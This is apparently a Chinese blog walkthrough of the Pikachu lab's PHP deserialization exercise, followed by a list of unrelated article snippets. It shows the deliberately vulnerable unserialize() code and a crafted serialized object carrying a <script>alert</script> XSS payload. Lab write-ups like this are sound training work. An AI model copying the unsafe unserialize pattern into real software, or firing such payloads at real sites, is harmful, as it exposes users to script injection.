pikachu_php反序列化

pikachu_php反序列化

源代码

class S{var $test = "pikachu";function __construct(){echo $this->test;}
}//O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
$html='';
if(isset($_POST['o'])){$s = $_POST['o'];if(!@$unser = unserialize($s)){$html.="<p>大兄弟,来点劲爆点儿的!</p>";}else{$html.="<p>{$unser->test}</p>";}}

源码可见,需要执行到test,那么就需要执行construct函数,该魔法函数创建对象时就会被执行,执行到else分支之后输入值的反序列化就会当做值给test调用

过程

尝试写一个xss攻击,将xss攻击序列化提交

<?php
class Test{public $a="<script>alert(/order/)</script>";
}$a=new Test();var_dump(serialize($a));
?>

查看结果

image-20231122220929904

发现xss标签部分被执行了,然后没有了

因此需要在序列化的时候替换掉xss攻击代码中的一部分,让其无法执行,生成后再替换回来即可

此处将括号换成x,并且构造成源码一样的参数名

<?php
class S{var $test = "xscript>alert(/order/)x/script>";
}$s=new S(); print_r(serialize($s));
?>

得到结果然后修改尖括号

O:1:"S":1:{s:4:"test";s:31:"xscript>alert(/order/)x/script>";}O:1:"S":1:{s:4:"test";s:31:"<script>alert(/order/)</script>";}

拿去执行,成功执行xss

image-20231122222744984

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/207590.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

HTML新手入门笔记整理:HTML基本标签

结构标签 <html> </html> 告诉浏览器这个页面是从<html> 开始&#xff0c;到 </html>结束 <head> </head> 网页的头部&#xff0c;用于定义一些特殊内容&#xff0c;如页面标题、定时刷新、外部文件等。 <body> </body> …

Linux 进程等待

在2号手册里查wait&#xff08;&#xff09;。wait()等待任意一个子进程的状态。 wait&#xff08;&#xff09;等待成功会返回该子进程的id,返回失败会返回-1&#xff1a; 小实验 子进程的退出码 子进程执行work()&#xff0c;父进程wait子进程。 子进程跑完5秒之后就e…

一篇文章搞懂WPF动画的使用技巧

WPF 动画系统提供了丰富的功能&#xff0c;用于为 UI 元素创建流畅的动态效果。动画可以应用于任何可用于渲染的属性&#xff0c;比如位置、颜色、大小等。在 WPF 中&#xff0c;动画是通过更改随时间变化的属性来实现的。 WPF动画基本用法 例如实现如下的动画效果&#xff1…

以45°斜抛水平距离最远

已知&#xff1a;斜抛物体的初速度为 v 0 v_0 v0​&#xff08;与水平方向的夹角为 θ \theta θ&#xff09;&#xff0c;重力加速度为 g g g。 求&#xff1a;抛物轨迹方程&#xff1f; 垂直方向的速度为 v y v 0 sin ⁡ θ − g t v_yv_0 \sin \theta -gt vy​v0​sinθ−…

小程序存在优惠卷遍历,但是歪了

进入小程序&#xff0c;因为是一个小商城&#xff0c;所以照例先查看收货地址是否存在越权&#xff0c;以及能否未授权访问&#xff0c;但是发现不存在这些问题&#xff0c;所以去查看优惠卷 进入领券中心&#xff0c;点击领取优惠券时抓包 发现数据包&#xff0c;存在敏感参数…

PTA-6-45 工厂设计模式-运输工具

题目如下&#xff1a; 工厂类用于根据客户提交的需求生产产品&#xff08;火车、汽车或拖拉机&#xff09;。火车类有两个子类属性&#xff1a;车次和节数。拖拉机类有1个子类方法耕地&#xff0c;方法只需简单输出“拖拉机在耕地”。为了简化程序设计&#xff0c;所有…

JVM中判断对象是否需要回收的方法

在堆里面存放着Java 世界中几乎所有的对象实例&#xff0c;垃圾收集器在对堆进行回收前&#xff0c;第一件事情就是要确定这些对象之中哪些还“ 存活 ” 着&#xff0c;哪些已经 “ 死去 ”。 引用计数算法 引用计数法是一种内存管理技术&#xff0c;它是通过对每个对象进行引用…

智能卡接口芯片解决方案

一、基本概述 HCM8035是一款简洁且低成本的智能IC卡模拟接口芯片。内嵌升压模块&#xff0c;支持5V,3V,1.8V全电压读写。具有全面的安全保护机制&#xff0c;包括ESD保护&#xff0c;端口短路保护&#xff0c;电源上掉电保护。外围元件数目少&#xff0c;采用QFN32L封装。 今…

微信在线点餐怎么做_怎么实现在微信公众号在线点餐

微信公众号在线点餐&#xff1a;一种全新的餐饮体验 在这个快节奏的时代&#xff0c;人们的时间变得越来越宝贵。为了满足人们的需求&#xff0c;微信公众号的在线点餐功能应运而生。通过微信公众号&#xff0c;用户可以随时随地浏览和订购自己喜欢的餐食&#xff0c;无需排队…

2023-11-20 LeetCode每日一题(最大子数组和)

2023-11-20每日一题 一、题目编号 53. 最大子数组和二、题目链接 点击跳转到题目位置 三、题目描述 给你一个整数数组 nums &#xff0c;请你找出一个具有最大和的连续子数组&#xff08;子数组最少包含一个元素&#xff09;&#xff0c;返回其最大和。 子数组 是数组中的…

C语言好好题(一维数组)

两天没有更新了&#xff0c;贴纸们&#xff0c;有没有想我呀。&#x1f604;&#x1f604;&#x1f604; 好了&#xff0c;就寒暄到这里吧&#xff0c;下面请看题&#xff1a; 有序序列判断 输入一个整数序列&#xff0c;判断是否是有序序列&#xff0c;有序&#xff0c;指序列…

FreeRTOS列表和列表项

FreeRTOS内核调度使用了大量的列表&#xff08;list&#xff09;和列表项&#xff08;listitem&#xff09;数据结构。它的源码中涉及到很多列表的操作&#xff0c;对于FreeRTOS来说&#xff0c;列表就是它最基础的一部分&#xff0c;列表被用作FreeRTOS调度器使用&#xff0c;…